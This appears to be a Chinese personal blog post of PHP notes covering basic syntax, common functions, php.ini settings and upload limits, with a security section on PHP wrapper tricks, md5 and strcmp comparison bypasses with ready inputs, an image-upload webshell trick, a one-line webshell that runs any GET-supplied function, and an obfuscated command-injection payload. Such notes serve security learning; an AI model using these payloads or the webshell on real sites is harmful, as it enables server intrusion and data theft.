php使用介绍 php常用配置 http客户端设置

2015-10-12 22:51:00
admin
原创 2024
摘要:php使用介绍 php常用配置 http客户端设置

一、php使用介绍

运行环境:

1、英文站点:https://onecompiler.com/php

2、中文站点:https://www.bejson.com/runcode/php

3、中文站点:https://tool.lu/coderunner

4、搭建环境:https://sourceforge.net/projects/xampp

5、帮助文档:https://www.runoob.com/php/php-tutorial.html


基础语法:

1、语法检查忽略大小写,但是建议使用一种风格;

2、字符串支持双引号和单引号,建议使用双引号;

3、布尔值TRUE打印输出1,布尔值FALSE打印不输出;

4、单行注释使用//或#,多行注释使用/*comment*/;

5、@符号忽略表达式错误,出现错误将不会出现提示;

6、global或GLOBALS用于申明或引用全局变量;

7、7.0之前版本支持脚本风格代码:<script language="php"></script>


POST表单:

1、设置请求头:Content-Type: application/x-www-form-urlencoded

2、获取变量值:$_POST["varname"]


类型比较:

1、松散比较,使用==进行比较,只比较值,不比较类型;

2、严格比较,使用===进行比较,既比较值,又比较类型;


打印输出:

1、echo,输出一个或多个字符串,多个字符串使用逗号分隔,可以不使用括号;

2、print,输出一个字符串,存在返回值,并且一直是1,可以不使用括号;

3、printf,输出格式化字符串,返回输出内容长度;

4、print_r,打印变量内容,支持打印数组和对象;

5、var_dump,输出变量信息,包括类型和内容;

6、highlight_file(__FILE__),输出语法高亮的文件内容;


常用函数:

1、is_string,判断变量类型是否是字符串;

2、is_numeric,判断变量是否是数字或数字字符串;

3、preg_match(pattern,subject),搜索指定正则表达式的第一个匹配,返回匹配次数0或1;

4、eval(string),执行代码字符串,字符串必须以分号结尾,return终止执行和返回内容,否则返回NULL,执行出错返回FALSE;

5、system(string,ret),执行操作系统命令,返回输出的最后一行内容,执行失败返回空字符串,ret是最后一个命令的返回值;

6、file_get_contents(path),将文件内容读取到一个字符串;

7、scandir(path),返回指定目录中的文件和目录的数组;


扩展函数:

1、extract(array),将数组导入到当前的变量符号表;

2、md5(string,raw),计算字符串哈希,默认十六进制输出;

3、date("Y-m-d H:i:s",time()),格式化日期和时间,返回格式化的字符串;


php伪协议:

1、php伪协议是php封装的协议,支持协议:file://、php://、data://、zip://

2、php://filter支持read和write过滤,过滤函数帮助:https://www.php.net/manual/zh/filters.php

3、php://filter/string.strip_tags会导致7.0版本的php进程挂掉,从而导致上传的临时文件无法清除;

4、显示源码:php://filter/convert.base64-encode/resource=filename,文件内容来自服务器文件;

5、显示源码:file://filepath,文件内容来自服务器文件,curl_exec执行时可以显示源码;

6、虚拟文件:php://input,文件内容来自请求正文;

7、虚拟文件:data://text/plain;base64,base64(content),文件内容直接来自参数;

8、虚拟文件:data:;base64,base64(content),文件内容直接来自参数;


常见绕过:

1、NULL和FALSE以零进行存储,所以和零弱比较相等;

2、strcmp其中一个参数传递数组,函数返回NULL,和零弱比较相等;

3、md5参数传递数组,比如arg[]=v,函数返回NULL,两个NULL强比较相等;

4、图片上传绕过,修改gif图片内容,增加可执行脚本,从而可以获取服务器数据;

5、SQL注入参数转义:$name=mysqli_real_escape_string($con,$name)

6、任意文件读取检查:preg_match("/^\/|\.\.|:/i", $filename)


md5弱比较绕过:

1、绕过原因:0e开头被识别为科学记数法,结果均为零;

2、传参示例:param1=QNKCDZO&param2=aabg7XSs

3、第一个md5值,0e830400451993494058024219903391

4、第二个md5值,0e087386482136013740957780965295


md5强比较绕过:

1、绕过原因:md5真的发生了碰撞,结果完全一样;

2、传参示例:

param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
md5=008ee33a9d58b51cfeb425b0959121c9


二、php示例代码

一句话木马:

@$func = $_GET["func"];
@$args = $_GET["args"];
var_dump($func);
var_dump($args);
if (isset($func) && isset($args)) $func($args);
if (isset($func) && !isset($args)) $func();


命令注入代码:domain.com/injection?1=system&2=ls

@$_=(_/_._)[1];++$_;++$_;++$_;$_0=++$_;++$_;$_1=++$_;
@$_=(_/_._)[2];++$_;++$_;++$_;++$_;++$_;++$_;
@$_=_.$_1.$_0.$_;
$$_{1}($$_{2});


unicode转换代码:

$str = "l\u{0073}";
var_dump($str);
$str = "l\u0073";
var_dump($str);
function replace_unicode_sequence($match) {
  return mb_convert_encoding(pack("H*",$match[1]), "UTF-8", "UCS-2BE");
}
$str = preg_replace_callback("/\\\\u([0-9a-f]{4})/i", "replace_unicode_sequence", $str);
var_dump($str);


unicode转换输出:

string(2) "ls"
string(7) "l\u0073"
string(2) "ls"


三、php常用配置

1、short_open_tag = On,允许使用短标签<? ?>,但是<?php ?>才是规范标签;

2、memory_limit = 128M,设置脚本最大内存消耗;

3、post_max_size = 32M,设置POST请求最大长度;

4、upload_max_filesize = 32M,设置上传文件最大限制;

5、max_execution_time = 30,设置脚本最长执行秒数;

6、disable_functions = system,设置脚本禁止使用的函数;

7、monolog是功能最强大的日志库,大型项目推荐使用;

8、klogger是最简单易用的日志库,小型项目推荐使用;


四、http客户端设置

上传文件大小限制:

1、设置单个文件最大1024字节,<input type="hidden" name="MAX_FILE_SIZE" value="1024"/>

2、服务端判断这类错误,$_FILES['upload_file']['error']==UPLOAD_ERR_FORM_SIZE

发表评论
评论通过审核之后才会显示。